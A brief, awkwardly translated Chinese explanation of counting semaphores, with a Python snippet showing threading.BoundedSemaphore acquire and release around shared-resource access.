信號量是一個比較先進的信號量有一個內部的計數器，而不是一個鎖標志，並且它只有塊如果超過線程給定數量的試圖保持信號量。根據如何在信號量被初始化，這允許多個線程訪問代碼段
semaphore = threading.BoundedSemaphore()
semaphore.acquire() # decrements the counter
... access the shared resource; work with dictionary, add item or whatever.
semaphore.release() # increments the counter